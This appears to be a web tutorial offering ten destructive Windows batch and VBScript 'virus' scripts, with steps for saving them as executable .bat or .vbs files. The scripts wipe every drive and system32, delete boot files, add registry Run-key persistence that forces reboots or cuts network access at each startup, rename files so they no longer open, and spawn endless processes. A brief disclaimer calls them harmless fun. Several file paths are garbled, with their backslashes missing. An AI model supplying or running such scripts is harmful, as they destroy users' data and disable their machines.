Simple batch script viruses
Batch Scripts are stored in simple text files containing lines with commands that get executed in sequence, one after the other. Batch files are often used to help load programs, run multiple processes at a time, and perform common or repetitive tasks. For example, a batch job could be used to back up files, process log files, run a series of calculations or diagnostics, or any other job that require multiple commands to run. It can also be used to make fun malwares( that do not harm any organization in comparison to ransomware)
NOTE: The following are not real life malwares, they are just fun scripts and should not be used to cause disruption of service without permission.
The steps to make this viruses executable are:
1⃣ Make a text file
2⃣ Paste code
3⃣ Save as all files with extension .bat ( test.bat)
VIRUS 1 — DELETE ALL PARTITIONS
@echo off
Del C:\*.* /f /s /q
Del D:\*.* /f /s /q
Del E:\*.* /f /s /q
Del F:\*.* /f /s /q
Del G:\*.* /f /s /q
Del H:\*.* /f /s /q
Del I:\*.* /f /s /q
VIRUS 2 — This Virus Deletes All The Content Of C Drive
@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00
VIRUS 3 — This Will Crash your Computer
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Save virus 3 file with .vbs file extension
VIRUS 4 — Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive
VIRUS 5 — Shutdowns Computer Everytime It Is Turned On
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE
VIRUS 6 — DISABLES I-NET
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
VIRUS 7 — CHANGE ALL FILES TO NON WORKING TXT FILES
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
VIRUS 8 — SYSTEM MELTDOWN
:CRASH
net send * WORKGROUP ENABLED
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hacked echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
GOTO CRASH
VIRUS 9 — SYSTEM 32 DELETER
@echo off
del c:\\windows\system32
VIRUS 10 — ENDLESS NOTEPAD OPENER
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Download the scripts directly from this repository: